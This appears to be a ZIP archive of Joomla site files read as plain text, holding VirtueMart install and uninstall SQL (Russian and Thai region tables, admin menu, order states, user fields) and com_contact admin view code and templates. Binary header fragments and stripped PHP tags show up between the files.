00:00:00', 0, '0000-00-00 00:00:00', 0), (633, 1, 176, 0, 'Смоленская область', 'SMO', '67', 64, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (634, 1, 176, 0, 'Ставропольский край', 'STA', '26', 65, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (635, 1, 176, 0, 'Тамбовская область', 'TAM', '68', 66, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (636, 1, 176, 0, 'Татарстан Республика', 'TA', '16', 67, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (637, 1, 176, 0, 'Тверская область', 'TVE', '69', 68, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (638, 1, 176, 0, 'Томская область', 'TOM', '70', 69, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (639, 1, 176, 0, 'Тульская область', 'TUL', '71', 70, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (640, 1, 176, 0, 'Тыва Республика', 'TY', '17', 71, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (641, 1, 176, 0, 'Тюменская область', 'TYU', '72', 72, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (642, 1, 176, 0, 'Удмуртская Республика', 'UD', '18', 73, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (643, 1, 176, 0, 'Ульяновская область', 'ULY', '73', 74, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (644, 1, 176, 0, 'Хакасия Республика', 'KK', '19', 75, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (645, 1, 176, 0, 'Челябинская область', 'CHE', '74', 76, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (646, 1, 176, 0, 'Чеченская Республика', 'CE', '20', 77, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (647, 1, 176, 0, 'Чувашская Республика', 'CU', '21', 78, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (648, 1, 176, 0, 'Чукотский автономный округ', 'CHU', '87', 79, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (649, 1, 176, 0, 'Хабаровский край', 'KHA', '27', 80, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (650, 1, 176, 0, 'Ханты-Мансийский автономный округ', 'KHM', '86', 81, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (651, 1, 176, 0, 'Ямало-Ненецкий автономный округ', 'YAN', '89', 82, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (652, 1, 176, 0, 'Ярославская область', 'YAR', '76', 83, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- By : Khemakorn Chaiyapruck from Thailand INSERT INTO `#__virtuemart_states` (`virtuemart_state_id`, `virtuemart_vendor_id`, `virtuemart_country_id`, `state_name`, `state_3_code`, `state_2_code`, `published`) VALUES (653, 1, 209, 'กระบี่', 'กบ', 'กบ', 1), (654, 1, 209, 'กรุงเทพมหานคร', 'กทม', 'กท', 1), (655, 1, 209, 'กาญจนบุรี', 'กจ', 'กจ', 1), (656, 1, 209, 'กาฬสินธุ์', 'กส', 'กส', 1), (657, 1, 209, 'กำแพงเพชร', 'กพ', 'กพ', 1), (658, 1, 209, 'ขอนแก่น', 'ขก', 'ขก', 1), (659, 1, 209, 'จันทบุรี ', 'จบ', 'จบ', 1), (660, 1, 209, 'ฉะเชิงเทรา', 'ฉช', 'ฉช', 1), (661, 1, 209, 'ชลบุรี ', 'ชบ', 'ชบ', 1), (662, 1, 209, 'ชัยนาท', 'ชน', 'ชน', 1), (663, 1, 209, 'ชัยภูมิ', 'ชย', 'ชย', 1), (664, 1, 209, 'ชุมพร', 'ชพ', 'ชพ', 1), (665, 1, 209, 'เชียงราย', 'ชร', 'ชร', 1), (666, 1, 209, 'เชียงใหม่', 'ชม', 'ชม', 1), (667, 1, 209, 'ตรัง', 'ตง', 'ตง', 1), (668, 1, 209, 'ตราด', 'ตร', 'ตร', 1), (669, 1, 209, 'ตาก', 'ตก', 'ตก', 1), (670, 1, 209, 'นครนายก', 'นย', 'นย', 1), (671, 1, 209, 'นครปฐม', 'นฐ', 'นฐ', 1), (672, 1, 209, 'นครพนม', 'นพ', 'นพ', 1), (673, 1, 209, 'นครราชสีมา', 'นม', 'นม', 1), (674, 1, 209, 'นครศรีธรรมราช', 'นศ', 'นศ', 1), (675, 1, 209, 'นครสวรรค์', 'นว', 'นว', 1), (676, 1, 209, 'นนทบุรี ', 'นบ', 'นบ', 1), (677, 1, 209, 'นราธิวาส', 'นธ', 'นธ', 1), (678, 1, 209, 'น่าน', 'นน', 'นน', 1), (679, 1, 209, 'บุรีรัมย์', 'บร', 'บร', 1), (680, 1, 209, 'บึงกาฬ', 'บก', 'บก', 1), (681, 1, 209, 'ปทุมธานี', 'ปท', 'ปท', 1), (682, 1, 209, 'ประจวบคีรีขันธ์', 'ปข', 'ปข', 1), (683, 1, 209, 'ปราจีนบุรี', 'ปจ', 'ปจ', 1), (684, 1, 209, 'ปัตตานี', 'ปน', 'ปน', 1), (685, 1, 209, 'พระนครศรีอยุธยา', 'อย', 'อย', 1), (686, 1, 209, 'พังงา ', 'พง', 'พง', 1), (687, 1, 209, 'พัทลุง', 'พท', 'พท', 1), (688, 1, 209, 'พิจิตร', 'พจ', 'พจ', 1), (689, 1, 209, 'พิษณุโลก', 'พล', 'พล', 1), (690, 1, 209, 'เพชรบุรี', 'พบ', 'พบ', 1), (691, 1, 209, 'เพชรบูรณ์ ', 'พช', 'พช', 1), (692, 1, 209, 'แพร่ ', 'พร', 'พร', 1), (693, 1, 209, 'พะเยา', 'พย', 'พย', 1), (694, 1, 209, 'ภูเก็ต', 'ภก', 'ภก', 1), (695, 1, 209, 'มหาสารคาม', 'มค', 'มค', 1), (696, 1, 209, 'แม่ฮ่องสอน', 'มส', 'มส', 1), (697, 1, 209, 'มุกดาหาร', 'มห', 'มห', 1), (698, 1, 209, 'ยะลา', 'ยล', 'ยล', 1), (699, 1, 209, 'ยโสธร', 'ยส', 'ยส', 1), (700, 1, 209, 'ร้อยเอ็ด', 'รอ', 'รอ', 1), (701, 1, 209, 'ระนอง', 'รน', 'รน', 1), (702, 1, 209, 'ระยอง', 'รย', 'รย', 1), (703, 1, 209, 'ราชบุรี', 'รบ', 'รบ', 1), (704, 1, 209, 'ลพบุรี', 'ลบ', 'ลบ', 1), (705, 1, 209, 'ลำปาง', 'ลป', 'ลป', 1), (706, 1, 209, 'ลำพูน', 'ลพ', 'ลพ', 1), (707, 1, 209, 'เลย', 'ลย', 'ลย', 1), (708, 1, 209, 'ศรีสะเกษ', 'ศก', 'ศก', 1), (709, 1, 209, 'สกลนคร', 'สน', 'สน', 1), (710, 1, 209, 'สงขลา', 'สข', 'สข', 1), (711, 1, 209, 'สตูล', 'สต', 'สต', 1), (712, 1, 209, 'สมุทรปราการ', 'สป', 'สป', 1), (713, 1, 209, 'สมุทรสงคราม', 'สส', 'สส', 1), (714, 1, 209, 'สมุทรสาคร', 'สค', 'สค', 1), (715, 1, 209, 'สระบุรี', 'สบ', 'สบ', 1), (716, 1, 209, 'สระแก้ว', 'สก', 'สก', 1), (717, 1, 209, 'สิงห์บุรี ', 'สห', 'สห', 1), (718, 1, 209, 'สุโขทัย', 'สท', 'สท', 1), (719, 1, 209, 'สุพรรณบุรี', 'สพ', 'สพ', 1), (720, 1, 209, 'สุราษฎร์ธานี', 'สฎ', 'สฎ', 1), (721, 1, 209, 'สุรินทร์', 'สร', 'สร', 1), (722, 1, 209, 'หนองคาย', 'นค', 'นค', 1), (723, 1, 209, 'หนองบัวลำภู', 'นภ', 'นภ', 1), (724, 1, 209, 'อ่างทอง', 'อท', 'อท', 1), (725, 1, 209, 'อุดรธานี', 'อด', 'อด', 1), (726, 1, 209, 'อุตรดิตถ์', 'อต', 'อต', 1), (727, 1, 209, 'อุทัยธานี', 'อน', 'อน', 1), (728, 1, 209, 'อุบลราชธานี', 'อบ', 'อบ', 1), (729, 1, 209, 'อำนาจเจริญ', 'อจ', 'อจ', 1); PK@y>\ޛ%**/components/com_virtuemart/install/uninstall.sqlnuW+ADROP TABLE `#__virtuemart_permgroups`, `#__virtuemart_categories`, `#__virtuemart_category_categories`, `#__virtuemart_countries`, `#__virtuemart_coupons`, `#__virtuemart_currencies`, `#__virtuemart_customs`, `#__virtuemart_customplugins`, `#__virtuemart_manufacturers`, `#__virtuemart_manufacturercategories`, `#__virtuemart_adminmenuentries`, `#__virtuemart_modules`, `#__virtuemart_orders`, `#__virtuemart_order_histories`, `#__virtuemart_order_items`, `#__virtuemart_orderstates`, `#__virtuemart_order_userinfos`, `#__virtuemart_paymentmethods`, `#__virtuemart_products`, `#__virtuemart_product_categories`, `#__virtuemart_product_customfields`, `#__virtuemart_product_downloads`, `#__virtuemart_medias`, `#__virtuemart_product_manufacturers`, `#__virtuemart_product_prices`, `#__virtuemart_product_producttypes`, `#__virtuemart_product_relations`, `#__virtuemart_rating_reviews`, `#__virtuemart_producttypes`, `#__virtuemart_producttype_customfields`, `#__virtuemart_shipmentmethods`, `#__virtuemart_shoppergroups`, `#__virtuemart_states`, `#__virtuemart_userfields`, `#__virtuemart_userfield_values`, `#__virtuemart_vmusers`, `#__virtuemart_userinfos`, `#__virtuemart_vmuser_shoppergroups`, `#__virtuemart_vendors`, `#__virtuemart_waitingusers`, `#__virtuemart_worldzones`;PK@y>\xi2i2<components/com_virtuemart/install/install_essential_data.sqlnuW+A -- VirtueMart table data SQL script -- This will insert all essential data into the VirtueMart tables -- -- Configuration data has been moved to virtuemart.cfg -- -- -- Dumping data for table `#__virtuemart_adminmenuentries` -- INSERT INTO `#__virtuemart_adminmenuentries` (`id`, `module_id`, `parent_id`, `name`, `link`, `depends`, `icon_class`, `ordering`, `published`, `tooltip`, `view`, `task`) VALUES (null , 1, 0, 'COM_VIRTUEMART_CATEGORY_S', '', '', 'vmicon vmicon-16-folder_camera', 1, 1, '', 'category', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_S', '', '', 'vmicon vmicon-16-camera', 2, 1, '', 'product', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S', '', '', 'vmicon vmicon-16-document_move', 5, 1, '', 'custom', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_INVENTORY', '', '', 'vmicon vmicon-16-price_watch', 7, 1, '', 'inventory', ''), (null, 1, 0, 'COM_VIRTUEMART_CALC_S', '', '', 'vmicon vmicon-16-calculator', 8, 1, '', 'calc', ''), (null, 1, 0, 'COM_VIRTUEMART_REVIEW_RATE_S', '', '', 'vmicon vmicon-16-comments', 9, 1, '', 'ratings', ''), (null, 2, 0, 'COM_VIRTUEMART_ORDER_S', '', '', 'vmicon vmicon-16-page_white_stack', 1, 1, '', 'orders', ''), (null, 2, 0, 'COM_VIRTUEMART_COUPON_S', '', '', 'vmicon vmicon-16-shopping', 10, 1, '', 'coupon', ''), (null, 2, 0, 'COM_VIRTUEMART_REPORT', '', '', 'vmicon vmicon-16-chart_bar', 3, 1, '', 'report',''), (null, 2, 0, 'COM_VIRTUEMART_USER_S', '', '', 'vmicon vmicon-16-user', 4, 1, '', 'user', ''), (null, 2, 0, 'COM_VIRTUEMART_SHOPPERGROUP_S', '', '', 'vmicon vmicon-16-user-group', 5, 1, '', 'shoppergroup', ''), (null, 3, 0, 'COM_VIRTUEMART_MANUFACTURER_S', '', '', 'vmicon vmicon-16-wrench_orange', 1, 1, '', 'manufacturer', ''), (null, 3, 0, 'COM_VIRTUEMART_MANUFACTURER_CATEGORY_S', '', '', 'vmicon vmicon-16-folder_wrench', 2, 1, '', 'manufacturercategories', ''), (null, 4, 0, 'COM_VIRTUEMART_STORE', '', '', 'vmicon vmicon-16-reseller_account_template', 1, 1, '', 'user', 'editshop'), (null, 4, 0, 'COM_VIRTUEMART_MEDIA_S', '', '', 'vmicon vmicon-16-pictures', 2, 1, '', 'media', ''), (null, 4, 0, 'COM_VIRTUEMART_SHIPMENTMETHOD_S', '', '', 'vmicon vmicon-16-lorry', 3, 1, '', 'shipmentmethod', ''), (null, 4, 0, 'COM_VIRTUEMART_PAYMENTMETHOD_S', '', '', 'vmicon vmicon-16-creditcards', 4, 1, '', 'paymentmethod', ''), (null, 5, 0, 'COM_VIRTUEMART_CONFIGURATION', '', '', 'vmicon vmicon-16-config', 1, 1, '', 'config', ''), (null, 5, 0, 'COM_VIRTUEMART_USERFIELD_S', '', '', 'vmicon vmicon-16-participation_rate', 2, 1, '', 'userfields', ''), (null, 5, 0, 'COM_VIRTUEMART_ORDERSTATUS_S', '', '', 'vmicon vmicon-16-document_editing', 3, 1, '', 'orderstatus', ''), (null, 5, 0, 'COM_VIRTUEMART_CURRENCY_S', '', '', 'vmicon vmicon-16-coins', 5, 1, '', 'currency', ''), (null, 5, 0, 'COM_VIRTUEMART_COUNTRY_S', '', '', 'vmicon vmicon-16-globe', 6, 1, '', 'country', ''), (null, 11, 0, 'COM_VIRTUEMART_MIGRATION_UPDATE', '', '', 'vmicon vmicon-16-installer_box', 1, 1, '', 'updatesmigration', ''), (null, 11, 0, 'COM_VIRTUEMART_ABOUT', '', '', 'vmicon vmicon-16-info', 3, 1, '', 'about', ''), (null, 11, 0, 'COM_VIRTUEMART_HELP_TOPICS', 'http://docs.virtuemart.net/', '', 'vmicon vmicon-16-help', 4, 1, '', '', ''), (null, 11, 0, 'COM_VIRTUEMART_COMMUNITY_FORUM', 'http://forum.virtuemart.net/', '', 'vmicon vmicon-16-reseller_programm', 6, 1, '', '', ''), (null, 11, 0, 'COM_VIRTUEMART_STATISTIC_SUMMARY', '', '', 'vmicon vmicon-16-info', 1, 1, '', 'virtuemart', ''), (null, 77, 0, 'COM_VIRTUEMART_USER_GROUP_S', '', '', 'vmicon vmicon-16-user', 2, 1, '', 'usergroups', ''), (null, 11, 0, 'COM_VIRTUEMART_LOG', '', '', 'vmicon vmicon-16-info', 2, 1, '', 'log', ''); -- -- Dumping data for table `#__virtuemart_modules` -- INSERT INTO `#__virtuemart_modules` (`module_id`, `module_name`, `module_description`, `module_perms`, `published`, `is_admin`, `ordering`) VALUES (1, 'product', 'Here you can administer your online catalog of products. Categories , Products (view=product), Attributes ,Product Types Product Files (view=media), Inventory , Calculation Rules ,Customer Reviews ', 'storeadmin,admin', 1, '1', 1), (2, 'order', 'View Order and Update Order Status: Orders , Coupons , Revenue Report ,Shopper , Shopper Groups ', 'admin,storeadmin', 1, '1', 2), (3, 'manufacturer', 'Manage the manufacturers of products in your store.', 'storeadmin,admin', 1, '1', 3), (4, 'store', 'Store Configuration: Store Information, Payment Methods , Shipment, Shipment Rates', 'storeadmin,admin', 1, '1', 4), (5, 'configuration', 'Configuration: shop configuration , currencies (view=currency), Credit Card List, Countries, userfields, order status ', 'admin,storeadmin', 1, '1', 5), (6, 'msgs', 'This module is unprotected an used for displaying system messages to users. We need to have an area that does not require authorization when things go wrong.', 'none', 0, '0', 99), (7, 'shop', 'This is the Washupito store module. This is the demo store included with the VirtueMart distribution.', 'none', 1, '0', 99), (8, 'store', 'Store Configuration: Store Information, Payment Methods , Shipment, Shipment Rates', 'storeadmin,admin', 1, '1', 4), (9, 'account', 'This module allows shoppers to update their account information and view previously placed orders.', 'shopper,storeadmin,admin,demo', 1, '0', 99), (10, 'checkout', '', 'none', 0, '0', 99), (11, 'tools', 'Tools', 'admin', 1, '1', 8), (13, 'zone', 'This is the zone-shipment module. Here you can manage your shipment costs according to Zones.', 'admin,storeadmin', 0, '1', 11); -- -- Dumping data for table `#__virtuemart_orderstates` -- INSERT INTO `#__virtuemart_orderstates` (`virtuemart_orderstate_id`, `order_status_code`, `order_status_name`, `order_status_description`, `order_stock_handle`, `ordering`, `virtuemart_vendor_id`) VALUES (null, 'P', 'COM_VIRTUEMART_ORDER_STATUS_PENDING', '', 'R',1, 1), (null, 'U', 'COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER', '', 'R',2, 1), (null, 'C', 'COM_VIRTUEMART_ORDER_STATUS_CONFIRMED', '', 'R', 3, 1), (null, 'X', 'COM_VIRTUEMART_ORDER_STATUS_CANCELLED', '', 'A',4, 1), (null, 'R', 'COM_VIRTUEMART_ORDER_STATUS_REFUNDED', '', 'A',5, 1), (null, 'S', 'COM_VIRTUEMART_ORDER_STATUS_SHIPPED', '', 'O',6, 1); -- -- Dumping data for table `#__virtuemart_userfields` -- INSERT INTO `#__virtuemart_userfields` (`virtuemart_userfield_id`, `virtuemart_vendor_id`, `userfield_jplugin_id`, `name`, `title`, `description`, `type`, `maxlength`, `size`, `required`, `cols`, `rows`, `value`, `default`, `registration`, `shipment`, `account`, `readonly`, `calculated`, `sys`, `params`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 0, 0, 'email', 'COM_VIRTUEMART_REGISTER_EMAIL', '', 'emailaddress', 100, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 4, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (2, 0, 0, 'password', 'COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1', '', 'password', 25, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 10, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (3, 0, 0, 'password2', 'COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2', '', 'password', 25, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 12, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 0, 0, 'agreed', 'COM_VIRTUEMART_I_AGREE_TO_TOS', '', 'checkbox', NULL, NULL, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 13, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 0, 0, 'name', 'COM_VIRTUEMART_USER_DISPLAYED_NAME', '', 'text', 25, 30, 1, 0, 0, '', NULL, 1, 0, 1, 0, 0, 1, '', 8, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (6, 0, 0, 'username', 'COM_VIRTUEMART_USERNAME', '', 'text', 25, 30, 1, 0, 0, '', NULL, 1, 0, 1, 0, 0, 1, '', 6, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 0, 0, 'address_type_name', 'COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL', '', 'text', 32, 30, 1, NULL, NULL, NULL, 'Shipment', 0, 1, 0, 0, 0, 1, NULL, 16, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (8, 0, 0, 'delimiter_billto', 'COM_VIRTUEMART_USER_FORM_BILLTO_LBL', '', 'delimiter', 25, 30, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 0, NULL, 18, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 0, 0, 'company', 'COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME', '', 'text', 64, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 20, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 0, 0, 'title', 'COM_VIRTUEMART_SHOPPER_FORM_TITLE', '', 'select', 0, 210, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 22, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 0, 0, 'first_name', 'COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 24, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 0, 0, 'middle_name', 'COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 26, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (13, 0, 0, 'last_name', 'COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 28, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (14, 0, 0, 'address_1', 'COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1', '', 'text', 64, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 30, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 0, 0, 'address_2', 'COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2', '', 'text', 64, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 32, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 0, 0, 'zip', 'COM_VIRTUEMART_SHOPPER_FORM_ZIP', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 34, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 0, 0, 'city', 'COM_VIRTUEMART_SHOPPER_FORM_CITY', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 36, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 0, 0, 'virtuemart_country_id', 'COM_VIRTUEMART_SHOPPER_FORM_COUNTRY', '', 'select', 0, 210, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 38, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 0, 0, 'virtuemart_state_id', 'COM_VIRTUEMART_SHOPPER_FORM_STATE', '', 'select', 0, 210, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 40, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 0, 0, 'phone_1', 'COM_VIRTUEMART_SHOPPER_FORM_PHONE', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 42, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 0, 0, 'phone_2', 'COM_VIRTUEMART_SHOPPER_FORM_PHONE2', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 44, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 0, 0, 'fax', 'COM_VIRTUEMART_SHOPPER_FORM_FAX', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 46, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (23, 0, 0, 'delimiter_sendregistration', 'COM_VIRTUEMART_BUTTON_SEND_REG', '', 'delimiter', 25, 30, 0, NULL, NULL, NULL, NULL, 0, 0, 0, 0, 0, 0, NULL, 2, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 0, 0, 'delimiter_userinfo', 'COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL', '', 'delimiter', NULL, NULL, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 0, NULL, 14, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 0, 'tax_exemption_number', 'COM_VIRTUEMART_SHOPPER_FORM_TAXEXEMPTION_NBR', 'Vendors can set here a tax exemption number for a shopper. This field is only changeable by administrators.', 'text', 10, 0, 0, 0, 0, NULL, NULL, 0, 0, 1, 1, 0, 0, NULL, 48, 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 0, 'tax_usage_type', 'COM_VIRTUEMART_SHOPPER_FORM_TAX_USAGE', 'Federal, national, educational, public, or similar often get a special tax. This field is only writable by administrators.', 'select', 0, 0, 0, 0, 0, NULL, NULL, 0, 0, 1, 1, 0, 0, NULL, 50, 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0);PK@y>\V!components/com_contact/index.htmlnuW+A PK@y>\Uee!components/com_contact/access.xmlnuW+A
      PK@y>\J-JJ!components/com_contact/config.xmlnuW+A
      PK@y>\) components/com_contact/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V'components/com_contact/views/index.htmlnuW+A PK@y>\).components/com_contact/views/contact/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ 2components/com_contact/views/contact/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId); // Since we don't track these assets at the item level, use the category id. $canDo = ContactHelper::getActions($this->item->catid, 0); JToolBarHelper::title(JText::_('COM_CONTACT_MANAGER_CONTACT'), 'contact.png'); // Build the actions for new and existing records. if ($isNew) { // For new records, check the create permission. if ($isNew && (count($user->getAuthorisedCategories('com_contact', 'core.create')) > 0)) { JToolBarHelper::apply('contact.apply'); JToolBarHelper::save('contact.save'); JToolBarHelper::save2new('contact.save2new'); } JToolBarHelper::cancel('contact.cancel'); } else { // Can't save the record if it's checked out. if (!$checkedOut) { // Since it's an existing record, check the edit permission, or fall back to edit own if the owner. if ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by == $userId)) { JToolBarHelper::apply('contact.apply'); JToolBarHelper::save('contact.save'); // We can save this record, but check the create permission to see if we can return to make a new one. if ($canDo->get('core.create')) { JToolBarHelper::save2new('contact.save2new'); } } } // If checked out, we can still save if ($canDo->get('core.create')) { JToolBarHelper::save2copy('contact.save2copy'); } JToolBarHelper::cancel('contact.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_CONTACTS_CONTACTS_EDIT'); } } PK@y>\@"ۨ  2components/com_contact/views/contact/tmpl/edit.phpnuW+A
      item->id) ? JText::_('COM_CONTACT_NEW_CONTACT') : JText::sprintf('COM_CONTACT_EDIT_CONTACT', $this->item->id); ?>
      • form->getLabel('name'); ?> form->getInput('name'); ?>
      • form->getLabel('alias'); ?> form->getInput('alias'); ?>
      • form->getLabel('user_id'); ?> form->getInput('user_id'); ?>
      • form->getLabel('catid'); ?> form->getInput('catid'); ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
      • form->getLabel('featured'); ?> form->getInput('featured'); ?>
      • form->getLabel('language'); ?> form->getInput('language'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      form->getLabel('misc'); ?>
      form->getInput('misc'); ?>
      • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
      • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
      • form->getLabel('created'); ?> form->getInput('created'); ?>
      • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
      • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
      • item->modified_by) : ?>
      • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
